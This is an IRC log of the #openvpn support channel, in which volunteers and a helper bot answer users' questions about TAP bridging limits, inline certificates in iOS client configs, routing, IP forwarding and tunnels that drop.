10:45 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:46 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Client Quit]
10:47 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
10:59 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:00 < WOOOP> lOLNETTT
11:05 -!- mete [~mete@84.200.83.33] has joined #openvpn
11:05 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:11 <@ecrist> soooo quiet
11:30 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ekfypophzidmozfw] has quit [Read error: Operation timed out]
11:30 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
11:31 < Rallias> Is there a limit to the number of ethernet addresses openvpn can handle on it's TAP driver?
11:31 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
11:32 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
11:32 <@dazo> Rallias: not afaik ... but I'd expect you would hit many other limits before hitting a limit in the TAP driver
11:32 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
11:33 < Rallias> hmm.. because I just had to expand my /16 to a /15 due to the size of the network and it's suddenly not working.
11:33 <@dazo> OpenVPN don't support a bigger subnet than /16 internally, iirc
11:33 <@dazo> and /16 is 65536 hosts .... do you have *that* many hosts?
11:34 < Rallias> I am currently responsible for 65,800 hosts.
11:34 < Rallias> Across 30 sites.
11:34 <@dazo> and using bridging across those 30 sites?
11:34 < Rallias> :D
11:34 < Rallias> Bossman is BS sometimes...
11:35 < Rallias> It took me a while to get him to consider using openvpn instead of eth over ip.
11:35 < Rallias> Also, does OpenVPN handle STP properly?
11:35 < Rallias> or is that the scope of some other deal?
11:35 <@dazo> OpenVPN doesn't do bridging
11:36 <@dazo> openvpn can be used in bridges, if it is given a tap device ... but that's not openvpn doing the bridging itself
11:36 < Rallias> *sigh*
11:36 <@dazo> it's the kernel + bridge-utils which does the bridging
11:36 < Rallias> Ok... I'll have to convince bossman that this scope doesn't need ethernet level bridging.
11:37 <@dazo> I would really think that bridging that many hosts .... that would simple result in the most useless VPN ever ... as it would be more busy transporting broadcast and multicast packets than real data payloads
11:38 <@dazo> use proper routing, with each site/vpn link having their own subnet
11:38 -!- MonkZ [~monkz@2001:470:9d66:0:224:d7ff:fe69:3f8c] has joined #openvpn
11:38 <@dazo> and switch to tun ... and you'll have a reasonable performing VPN
11:46 < Rallias> dazo, We get plenty of performance, it's just some of our customers demand l2 access instead of l3 access.
11:48 <@dazo> Rallias: do you filter broadcast and multicast traffic then?
11:48 < Rallias> dazo yeah, that happens on each host node with ebtables.
11:48 < Rallias> for everything except ARP
11:48 < Rallias> and DHCP
11:49 <@dazo> ahh, okay ... well, that's one of the real performance killers
11:49 <@dazo> so you've just dodged that one
11:49 < Rallias> er...
11:49 < Rallias> dhcp multicast is pushed into singlecast to our dhcpd...
11:49 <@dazo> dhcp relaying?
11:50  * Rallias smiles shyly
11:50 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
11:51 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 248 seconds]
11:53 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
11:53 <@dazo> Rallias: so you don't use --ifconfig-pool at all in your server config?
11:53 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
11:53 < Rallias> No.
11:54 < Rallias> It's all a centralized DHCPd server.
11:54 < Rallias> That I've never touched.
11:54 <@dazo> I see that the hard-coded limit for /16 net ... is related to --ifconfig-pool .... so that's how you actually managed to configure a /15 net
11:54 < Rallias> Well... except to change the subnet from 255.255.0.0 to 255.254.0.0 yesterday.
11:56 <@dazo> Rallias: from what I can understand from the code ... it boils down to the kernel and the tun.ko driver
11:57 < Rallias> hmm.
11:57 <@dazo> I don't see any other limitations in openvpn than if using --ifconfig-pool or --server ... then it is restricted to /16 or smaller networks
11:57 < JyZyXEL> where is the use of <ca> and <cert> and such documented?
11:57 < Rallias> So my problem is probably elsewhere?
11:58 <@dazo> in tap mode, openvpn anyway just transports the Ethernet frames ... so that wouldn't cause any issues
11:58 < Rallias> I thought it might be because it keeps some track of what IP has what mac address and knows to send where...
11:58 < Rallias> And that I'm exceeding some limit.
11:59 <@dazo> Rallias: openvpn receives encrypted packets from a remote host, decrypts them and writes the packets to the tun/tap device it is given .... and then it reads packets from the tun/tap device, encrypts them and sends them to the remote side
11:59 -!- visionnl [~anonymous@tuig.nikhef.nl] has quit [Ping timeout: 256 seconds]
11:59 -!- visionnl [~anonymous@tuig.nikhef.nl] has joined #openvpn
12:00 <@dazo> TAP mode, is the "simplest" one to tackle, as it doesn't necessarily need to parse the packets .... that's the kernels task .... even though OpenVPN does have an overview over which MAC address belongs to which OpenVPN client, so it transports unicast packets correctly
12:00 < Rallias> oh god... I think I just found the problem...
12:01 -!- rymnio_ [~chatzilla@91.234.245.245] has joined #openvpn
12:01 < Rallias> That is the biggest mass kernel panic I've seen in a while...
12:01 -!- rymnio [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
12:01 <@dazo> can you pastebin it?
12:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Operation timed out]
12:01 < Rallias> It's not openvpn related...
12:02 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
12:02 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:02 -!- mode/#openvpn [+v s7r] by ChanServ
12:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:02 <@dazo> nah, but I like looking at kernel traces :-P
12:02 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
12:02 < Rallias> Altho my pager just told me just over 60k machines kernel paniced...
12:02 < Rallias> and 3000 lxc machine's init died.
12:03 <@dazo> that sounds like something really ugly indeed
12:03 < Rallias> ARP table's crashed...
12:03 < Rallias> this is going to be... fun... to explain to bossman.
12:04 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 248 seconds]
12:06 < Rallias> dazo I would pastebin, but it's customer data so I'd have to get customer permission to share it.
12:07 <@dazo> sure, no prob ... not that it's even anything specific in those kernel traces - except process names, perhaps .... the rest is pure tracebacks of "which function called which one" from within the kernel, and memory addresses which will be rendered useless - esp. after next boot
12:07 <@dazo> but I won't push for it :)
12:09 < Rallias> Yeah, and that's fine to share. Except to extract that data I'd have to enter the VPS as a root level entity.
12:13 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-uenwgiemvlhkloiq] has joined #openvpn
12:13 -!- jthunder [~jthunder@184.151.222.51] has joined #openvpn
12:14 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
12:15 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 245 seconds]
12:15 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
12:17 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
12:18 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 245 seconds]
12:40 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
12:40 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
12:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:49 -!- MonkZ [~monkz@2001:470:9d66:0:224:d7ff:fe69:3f8c] has quit [Ping timeout: 245 seconds]
12:50 -!- jthunder [~jthunder@184.151.222.51] has quit [Ping timeout: 258 seconds]
12:50 -!- jthunder [~jthunder@184.151.222.51] has joined #openvpn
12:51 < david__> I'm running the community edition of OpenVPN, is there a way to get the community version's login stuff on IOS?
12:54 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
12:57 <@ecrist> what do you mean?
12:58 <@ecrist> I run OpenVPN Connect on iOS now, and connect to a community server.
13:00 < david__> The configuration file ecrist
13:00 < david__> the certs and keys are all seperated?
13:00 < david__> how do I make a proper configuration file for the app to read.
13:00 <@ecrist> combine them
13:01 < david__> is there a example on how to? I have absolutely no idea where to begin lol
13:01 <@ecrist> so, instead of "ca <path>" etc, you have a <ca>contents of ca file</ca>
13:01 <@ecrist> and do the same for cert and key
13:01 < david__> thatas it ?!
13:01 < david__> thats*
13:01 <@ecrist> if you use ssl-admin, 1.1.0 does it for you
13:01 <@ecrist> yes, that's it
13:02 < david__> aha! absolutely made my day. Thank you soo much.
13:02 <@ecrist> no problem
13:02 <@ecrist> keep in mind
13:02 <@ecrist> you need to protect that config the same you would the key file (since ith as your key within)
13:03 < david__> Yeah. I understand. It's the same with the autologin configs from access servers right?
13:05 <@ecrist> no clue, I never use as
13:06 < david__> either way, thanks again :)
13:06 <@ecrist> no problem
13:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:17 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
13:19 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
13:21 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
13:31 < cnf> man, i hope they fix openvpn connect soon :/
13:32 < cnf> they being whoever is responsible for fixing it :P
13:33 < jzaw> whats wrong with it cnf ?
13:33 < cnf> jzaw: doesn't support the fragment option
13:33 < cnf> on android and ios
13:33 < jzaw> ah
13:33 < cnf> and of course, i need to connect to an openvpn server that has uses that option...
13:33 <@ecrist> not so much a "fix" as an enhancement, technically
13:33 <@ecrist> it's a complete rewrite
13:34 < cnf> ecrist: you need to rewrite the client to support fragment?
13:35 < cnf> ecrist: or did i not understand you right?
13:35 <@ecrist> no, the client source used in the android and iOS apps are not the same code base as the community version of openvpn
13:35 <@ecrist> it's a complete rewrite
13:35 <@ecrist> so, fragment is "broken" it's not included at al
13:35 <@ecrist> all*
13:35 < cnf> uhu
13:35 -!- landono [~landono@66.35.37.102] has joined #openvpn
13:35 < cnf> and are there any plans to support it?
13:36 <@ecrist> there's no plans NOT to support it
13:37 < cnf> haha :P
13:37 < cnf> so is that a "meh, when we get around to it" ?
13:37 <@ecrist> yeah
13:37 < cnf> hmm, bummer
13:37 < cnf> my companies openvpn server uses it :/
13:37 -!- jthunder_ [~jthunder@184.151.222.51] has joined #openvpn
13:38 < cnf> something about ADSL problems
13:38 -!- jthunder [~jthunder@184.151.222.51] has quit [Ping timeout: 256 seconds]
13:38 <@ecrist> they use tcp, too?
13:38 -!- jthunder [~jthunder@184.151.222.51] has joined #openvpn
13:40 -!- jthunder__ [~jthunder@184.151.222.51] has joined #openvpn
13:41 -!- jthunder___ [~jthunder@184.151.222.51] has joined #openvpn
13:41 < cnf> it's a UDP vpn, but they have fragment, mssfix and  mtu set
13:42 -!- daguz [~leo@208-1-63-34.celito.net] has joined #openvpn
13:42 -!- jthunder_ [~jthunder@184.151.222.51] has quit [Ping timeout: 264 seconds]
13:43 -!- jthunder [~jthunder@184.151.222.51] has quit [Ping timeout: 264 seconds]
13:43 -!- jthunder___ is now known as jthunder
13:44 < cnf> ecrist: i don't know exactly why it was set, it had to do with problems over some weird ADSL line
13:44 < cnf> just means i can not connect from my mobile devices :/
13:44 <@ecrist> can't help you.  sorry
13:45 -!- jthunder__ [~jthunder@184.151.222.51] has quit [Ping timeout: 264 seconds]
13:46 < cnf> bummer :/
13:46 < landono> I'm trying to get an OpenVPN server working to give clients access to a network that is 10.202.0.0/16. I'd like the OpenVPN clients range to be 10.202.46.1-255. I have configured the server, and can connect to it fine. I'm using it to replace the default gateway of the client. However, for some reason the OpenVPN server is giving my client the address 10.202.46.6 and says my default gateway is 10.202.46.5. I can ping 10.202.46.1, but I can not ping anything
13:46 < landono> else within the network. My server.conf file can be read at http://pastebin.com/jM3G5yhV. Anyone have any ideas why I can't ping anything else in the network?
13:48 -!- jthunder [~jthunder@184.151.222.51] has quit [Ping timeout: 264 seconds]
13:50 < Thermi> landono: You need to enable forwarding for the involved interfaces and create routes
13:50 < vaillor> !redirect
13:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:50 <@vpnHelper> http://ircpimps.org/redirect.png
13:51 < daguz> Hey, this is mostly a windows question:  (I don't know much at all about windows).    I am testing openvpn on a windows host (started on on the AWS).  I'm able to get openvpn to start on the command line but do not understand how to start it as a service and how to specify the proper paths/config files.
13:51 < vaillor> !def1
13:51 < daguz> Under the service for openvpn, have it set to automatic.
13:51 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:51 < Thermi> and the IP is in your given IP-Range
13:51 < daguz> I created a non admin user as directed.  and selected that for LogOn.
13:51 < vaillor> !man
13:51 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:52 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
13:52 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
13:52 < daguz> Under start parameters I tried to specify the server.ovpn file.
13:53 < daguz> I tried both ways, in fact..  But I cannot ever see the tun interface unless I start manually.
13:53 < daguz> the bin file is openvpnserv.exe and not just openvpn.
13:54 < daguz> Is there a more detailed guide?  I've read the 6.4 of Easy_windows_guide.
13:54 < daguz> Also looked at the event viewer to see errors, but nothing appears.
13:57 -!- t35guy [~Andrew@63.142.161.8] has joined #openvpn
13:57 -!- landono_ [~landono@199-58-199-98.acedc.net] has joined #openvpn
13:59 < t35guy> Hi, I'm having a problem with openvpn. After connecting to my VPN and checking my IP, it is some IP in another country, but later on, maybe an hour later, I check my IP and it says my real IP address even though openvpn is still running and saying its "connected".
13:59 -!- landono [~landono@66.35.37.102] has quit [Ping timeout: 264 seconds]
13:59 -!- landono_ is now known as landono
14:00 < landono> Thermi: I've enabled forwarding on the interface, the /etc/sysctl.conf file has net.ipv4.ip_forward = 1 and I have push "redirect-gateway def1 bypass-dhcp" in the config as well
14:00 < Dennis84> hi all
14:00 < landono> !ipforward
14:00 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:05 < Thermi> landono: then you need to do either subnetting and put the clients of the vpn into a subnet and create a route on the other client's default gateway, do bridgin by using a tap-interface and creating a bridge from eth0 to tap0 or giv the clients another IP-Range and create a route to the VPN-Client's range on the LAN-client's default gateway
14:05 < Thermi> I assume there is no firewall active on your VPN-gateway, no?
14:05 < landono> no there is not
14:06 < Thermi> okay, otherwise, it could have been the case, that packets coming on tap0 to your host are dropped
14:07 < Thermi> hm
14:07 -!- brute11k1 [~brute@89.249.230.36] has joined #openvpn
14:07 < Thermi> Or you could do masquerading with iptables
14:08 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 258 seconds]
14:10 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
14:17 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
14:17 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Read error: Connection reset by peer]
14:22 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
14:25 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
14:38 -!- mylittlekony [~flutty@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:43 -!- clever [~clever@47.54.82.69] has joined #openvpn
14:46 -!- p3rror [~p3rror@41.140.99.181] has joined #openvpn
14:49 < clever> i'm having trouble getting openvpn to work on my tablet, its giving P:TLS Error: Unroutable control packet received from [AF_INET]10.0.0.60:11194 (si=3 op=P_CONTROL_V1)
14:56 -!- daguz [~leo@208-1-63-34.celito.net] has left #openvpn []
15:00 -!- daguz [~leo@208-1-63-34.celito.net] has joined #openvpn
15:15 -!- Sarah [~Sarah@april-fools/ninth/aster] has joined #openvpn
15:15 < Sarah> Hiya, I'm trying to setup password authentication on my OpenVPN server, so that the official OpenVPN Windows Desktop client can connect to it. How would I proceed?
15:19 -!- transit441 [morph@dont.privmsg.me.cause.ill.berightback.us] has joined #openvpn
15:19 < transit441> Could someone help me with OpenVPN? I have it set up and when I run service openvpn start and thenc heck with service openvpn status it is running however I can't connect to it. /var/log/openvpn shows this as an error: Options error: --server directive network/netmask combination is invalid
15:21 < Sarah> !welcome
15:21 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:21 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:22 < Sarah> !howto
15:22 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:23 < transit441> im not using either of those Sarah
15:23 < transit441> server 10.8.0.0 255.255.255.0
15:23 < transit441> thats whats in my openvpn.conf
15:25 < transit441> any idea?
15:26 < Sarah> transit441, I was saying that for myself, not for you. ;)
15:26 < transit441> oh
15:26 < transit441> sorry :P
15:30 -!- daguz [~leo@208-1-63-34.celito.net] has left #openvpn []
15:46 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
15:49 -!- nutron|w [~nutron@24.67.96.21] has quit [Changing host]
15:49 -!- nutron|w [~nutron@unaffiliated/nutron] has joined #openvpn
15:51 -!- dazo is now known as dazo_afk
15:58 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:58 -!- t35guy1 [~Andrew@63.142.161.16] has joined #openvpn
15:59 < t35guy1> I should add that my firewall is off
15:59 < Thermi> You should activate it.
15:59 < t35guy1> Thermi: umm, might that be what is causing my problem?
16:00 < Thermi> what was your nick before?
16:00 < t35guy1> t35guy?
16:00 < Thermi> ah
16:00 < Thermi> found it
16:01 < Thermi> please try to start openvpn with --verb 2 or higher
16:01 -!- t35guy [~Andrew@63.142.161.8] has quit [Ping timeout: 264 seconds]
16:01 < Thermi> --verb 5 would be good
16:01 < Thermi> it then tells you more stuff
16:01 < Thermi> Problem could be, that the old default route gets used again
16:01 < Thermi> or the tunnel breaks down and openvpn notices
16:02 < Thermi> like, when you need to get through a NAT-Firewall and there's no keepalive
16:02 < Thermi> and the firewall notices, that there's no more traffic on the port, so it deletes the connection from its table of connections
16:03 < Thermi> so any incoming packets get dropped or rejected
16:04 < Sarah> I'm assuming a lot of the people here are afk?
16:04 < Thermi> Can you paste your config in pastebin and send us the link to look at it?
16:04 < Sarah> ..Me?
16:04 < Thermi> no t35guy
16:05 < Sarah> Ah
16:05 < Thermi> perhaps someone notices it and helps, too.
16:05 < Thermi> Happened once.
16:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:08 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:28dd:380d:e11f:9c1f] has joined #openvpn
16:10 -!- Xigam is now known as xBytez
16:10 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Changing host]
16:10 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
16:17 < t35guy1> Thermi: where are these --verb options?
16:17 < Thermi> verbose
16:18 < Thermi> openvpn then tells you more
16:18 < t35guy1> I'm using windows btw
16:18 < Thermi> yeah
16:18 < Thermi> I guess you have a config file where the settings are in, no?
16:19 < t35guy1> Thermi: http://pastebin.com/ucTGcDvL
16:19 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
16:20 -!- rymnio_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 245 seconds]
16:20 < Thermi> try setting verb to 5 or 6
16:20 < t35guy1> Thermi: most recent logs: http://pastebin.com/sZgGv46v
16:21 < Thermi> try using the keepalive directive
16:21 -!- t35guy [~Andrew@63.142.161.8] has joined #openvpn
16:22 < t35guy> okay, I set verb to 6 and restarted openvpn. hopefully I'll stay on
16:22 < Thermi> it will just tell you more
16:22 < Thermi> not fix the problem
16:22 < t35guy> oh, lol
16:22 < Thermi> but it might help diagnose the problem
16:22 < t35guy> well when it fails ill paste the logs here
16:22 < Thermi> okay
16:25 -!- t35guy1 [~Andrew@63.142.161.16] has quit [Ping timeout: 264 seconds]
16:25 < t35guy> Thermi: can you tell anything from the logs i posted earlier?
16:26 < Thermi> well, it seems that you use a keepalive and a redirect-gateway directive
16:26 < Thermi> both of which you get from the server
16:26 < Thermi> but it looks just fine
16:26 < Thermi> so NAT shouldn't be a problem
16:28 < t35guy> hmm
16:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:33 -!- transit441 [morph@dont.privmsg.me.cause.ill.berightback.us] has left #openvpn ["Be back later"]
16:35 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Quit: Quit]
16:36 < Thermi> hm
16:36 < Thermi> t35guy: look at line 47 to 53. Perhaps that could make trouble, too.
16:37 < Thermi> it doesn't have anything to do with your connections going outside of the tunnel, but I think there's a reason you're trying to restart the dnscache
16:51 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 256 seconds]
16:58 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
16:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:01 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
17:01 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:02 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:06 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
17:19 -!- mylittlekony [~flutty@2a02:21a8:1:252::ca7f:97f8] has quit []
17:35 < Thermi> Going to bed. Good night.
17:50 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:54 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
18:08 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:13 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
18:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
18:32 -!- james12343 [~james1234@199.58.84.18] has joined #openvpn
18:32 < james12343> hello fnds
18:32 < james12343> is there any expert guy in open vpn
18:32 < james12343> is there any expert guy in open vpn?
18:32 < james12343> just PM me
18:39 -!- james12343 [~james1234@199.58.84.18] has quit []
18:44 < phunyguy> lol?
18:44 < phunyguy> I doubt he will get a PM.
18:52 -!- t35guy1 [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
18:54 -!- t35guy [~Andrew@63.142.161.8] has quit [Ping timeout: 248 seconds]
18:54 -!- t35guy [~Andrew@63.142.161.3] has joined #openvpn
18:56 -!- t35guy1 [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 248 seconds]
19:10 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
19:17 -!- Devastator- [~devas@177.18.199.9] has joined #openvpn
19:18 -!- p3rror [~p3rror@41.140.99.181] has quit [Quit: Leaving]
19:20 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
19:20 -!- CEnnis91_ [uid3543@gateway/web/irccloud.com/x-hftzvaivllvxlulk] has joined #openvpn
19:20 -!- Sarah [~Sarah@april-fools/ninth/aster] has quit [Ping timeout: 264 seconds]
19:20 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
19:20 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-uenwgiemvlhkloiq] has quit [Ping timeout: 264 seconds]
19:20 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 264 seconds]
19:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-uvfcwehondyimziq] has quit [Ping timeout: 264 seconds]
19:21 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 264 seconds]
19:21 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
19:21 -!- Sarah- [~Sarah@astersoftworks.com] has joined #openvpn
19:21 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
19:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-arfdvfwfztugcqqo] has joined #openvpn
19:22 -!- brute11k1 [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
19:30 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
19:30 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
19:35 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:28dd:380d:e11f:9c1f] has quit [Ping timeout: 246 seconds]
19:42 -!- raidz is now known as raidz_away
19:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:45 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
19:46 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
19:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Operation timed out]
19:55 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
20:08 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:08 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:28dd:380d:e11f:9c1f] has joined #openvpn
20:28 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
20:30 -!- levifig [~levifig@spwn.co] has joined #openvpn
20:30 -!- brute11k1 [~brute@89.249.230.36] has joined #openvpn
20:32 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
20:32 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
20:35 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
20:38 -!- brute11k1 [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
20:41 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
20:44 -!- Shadowized1 [~Shadowize@st0p.trying.to.trac3.me] has left #openvpn []
21:04 -!- master_o1_master [~master_of@p4FF24426.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:08 -!- master_of_master [~master_of@p4FF2445F.dip0.t-ipconnect.de] has joined #openvpn
21:30 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
21:32 -!- brute11k1 [~brute@89.249.230.36] has joined #openvpn
21:34 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
21:41 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
21:49 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:28dd:380d:e11f:9c1f] has quit [Quit: emmanuelux]
21:51 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
21:54 -!- brute11k1 [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
21:58 -!- Devastator- [~devas@177.18.199.9] has quit [Changing host]
21:58 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
21:58 -!- Devastator- is now known as Devastator
22:19 -!- brute11k1 [~brute@89.249.230.36] has joined #openvpn
22:22 -!- brute11k [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
22:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:34 -!- brute11k1 [~brute@89.249.230.36] has quit [Ping timeout: 252 seconds]
22:34 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
22:35 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
22:39 -!- mitz_ [~mitz@219.143.36.82] has quit [Remote host closed the connection]
22:40 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
22:42 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
23:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
23:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:27 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
